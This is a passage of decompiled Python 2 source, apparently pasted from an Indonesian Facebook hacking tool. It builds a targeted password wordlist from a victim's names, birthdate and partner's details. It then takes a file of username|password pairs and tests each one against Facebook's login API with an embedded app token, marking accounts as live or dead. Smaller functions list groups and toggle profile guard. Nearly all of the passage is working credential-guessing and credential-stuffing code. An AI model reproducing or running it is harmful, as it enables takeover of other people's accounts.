  1911.             os.system('reset')
  1912.             print logo
  1913.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1914.             print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah'
  1915.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1916.             a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ')
  1917.             file = open(a + '.txt', 'w')
  1918.             b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ')
  1919.             c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ')
  1920.             d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ')
  1921.             e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
  1922.             f = e[0:2]
  1923.             g = e[2:4]
  1924.             h = e[4:]
  1925.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1926.             print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v'
  1927.             i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ')
  1928.             j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ')
  1929.             k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
  1930.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1931.             l = k[0:2]
  1932.             m = k[2:4]
  1933.             n = k[4:]
  1934.             file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k))
  1935.             wg = 0
  1936.             while wg < 100:
  1937.                 wg = wg + 1
  1938.                 file.write(a + str(wg) + '\n')
  1939.  
  1940.             en = 0
  1941.             while en < 100:
  1942.                 en = en + 1
  1943.                 file.write(i + str(en) + '\n')
  1944.  
  1945.             word = 0
  1946.             while word < 100:
  1947.                 word = word + 1
  1948.                 file.write(d + str(word) + '\n')
  1949.  
  1950.             gen = 0
  1951.             while gen < 100:
  1952.                 gen = gen + 1
  1953.                 file.write(j + str(gen) + '\n')
  1954.  
  1955.             file.close()
  1956.             time.sleep(1.5)
  1957.             print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a
  1958.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1959.             lain()
  1960.         except IOError as e:
  1961.             print '\x1b[1;91m[!] Gagal membuat file'
  1962.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1963.             lain()
  1964.  
  1965.  
  1966. def check_akun():
  1967.     os.system('reset')
  1968.     try:
  1969.         toket = open('login.txt', 'r').read()
  1970.     except IOError:
  1971.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1972.         os.system('rm -rf login.txt')
  1973.         time.sleep(1)
  1974.         login()
  1975.     else:
  1976.         os.system('reset')
  1977.         print logo
  1978.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1979.         print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password'
  1980.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1981.         live = []
  1982.         cek = []
  1983.         die = []
  1984.         try:
  1985.             file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ')
  1986.             list = open(file, 'r').readlines()
  1987.         except IOError:
  1988.             print '\x1b[1;91m[!] File tidak ditemukan'
  1989.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1990.             lain()
  1991.  
  1992.     pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ')
  1993.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1994.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1995.     for meki in list:
  1996.         username, password = meki.strip().split(str(pemisah))
  1997.         url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
  1998.         data = requests.get(url)
  1999.         mpsh = json.loads(data.text)
  2000.         if 'access_token' in mpsh:
  2001.             live.append(password)
  2002.             print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m]  \x1b[1;97m' + username + ' | ' + password
  2003.         elif 'www.facebook.com' in mpsh['error_msg']:
  2004.             cek.append(password)
  2005.             print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password
  2006.         else:
  2007.             die.append(password)
  2008.             print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m]  \x1b[1;97m' + username + ' | ' + password
  2009.  
  2010.     print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die))
  2011.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2012.     lain()
  2013.  
  2014.  
  2015. def grupsaya():
  2016.     os.system('reset')
  2017.     try:
  2018.         toket = open('login.txt', 'r').read()
  2019.     except IOError:
  2020.         print '\x1b[1;91m[!] Token tidak ditemukan'
  2021.         os.system('rm -rf login.txt')
  2022.         time.sleep(1)
  2023.         login()
  2024.     else:
  2025.         os.system('reset')
  2026.         print logo
  2027.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  2028.         jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  2029.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  2030.         try:
  2031.             uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket)
  2032.             gud = json.loads(uh.text)
  2033.             for p in gud['data']:
  2034.                 nama = p['name']
  2035.                 id = p['id']
  2036.                 f = open('grupid.txt', 'w')
  2037.                 listgrup.append(id)
  2038.                 f.write(id + '\n')
  2039.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + str(nama)
  2040.                 print '\x1b[1;91m[+] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + str(id)
  2041.                 print 40 * '\x1b[1;97m='
  2042.  
  2043.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup)
  2044.             print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt'
  2045.             f.close()
  2046.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2047.             lain()
  2048.         except (KeyboardInterrupt, EOFError):
  2049.             print '\x1b[1;91m[!] Terhenti'
  2050.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2051.             lain()
  2052.         except KeyError:
  2053.             os.remove('grupid.txt')
  2054.             print '\x1b[1;91m[!] Grup tidak ditemukan'
  2055.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2056.             lain()
  2057.         except requests.exceptions.ConnectionError:
  2058.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  2059.             keluar()
  2060.         except IOError:
  2061.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  2062.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2063.             lain()
  2064.  
  2065.  
  2066. def guard():
  2067.     global toket
  2068.     os.system('reset')
  2069.     try:
  2070.         toket = open('login.txt', 'r').read()
  2071.     except IOError:
  2072.         print '\x1b[1;91m[!] Token tidak ditemukan'
  2073.         os.system('rm -rf login.txt')
  2074.         time.sleep(1)
  2075.         login()
  2076.  
  2077.     os.system('reset')
  2078.     print logo
  2079.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  2080.     print '\x1b[1;37;40m1. Aktifkan'
  2081.     print '\x1b[1;37;40m2. NonAktifkan'
  2082.     print '\x1b[1;31;40m0. Kembali'
  2083.     print
  2084.     g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  2085.     if g == '1':
  2086.         aktif = 'true'
  2087.         gaz(toket, aktif)
  2088.     else:
  2089.         if g == '2':
  2090.             non = 'false'
  2091.             gaz(toket, non)
  2092.         else:
  2093.             if g == '0':
  2094.                 lain()
  2095.             else:
  2096.                 if g == '':
  2097.                     keluar()
  2098.                 else:
  2099.                     keluar()
  2100.  
  2101.  
  2102. def get_userid(toket):
  2103.     url = 'https://graph.facebook.com/me?access_token=%s' % toket
  2104.     res = requests.get(url)
  2105.     uid = json.loads(res.text)
  2106.     return uid['id']
  2107.  
  2108.  
  2109. def gaz(toket, enable=True):
  2110.     id = get_userid(toket)
  2111.     data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id))
  2112.     headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket}
  2113.     url = 'https://graph.facebook.com/graphql'
  2114.     res = requests.post(url, data=data, headers=headers)
  2115.     print res.text
  2116.     if '"is_shielded":true' in res.text:
  2117.         os.system('reset')
  2118.         print logo
  2119.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  2120.         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan'
  2121.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2122.         lain()
  2123.     else:
  2124.         if '"is_shielded":false' in res.text:
  2125.             os.system('reset')
  2126.             print logo
  2127.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  2128.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan'
  2129.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2130.             lain()
  2131.         else:
  2132.             print '\x1b[1;91m[!] Error'
  2133.             keluar()
  2134.  
  2135.  
  2136. if __name__ == '__main__':
  2137.     login()
  2138. # okay decompiling 3.pyc
Add Comment
Please, Sign In to add comment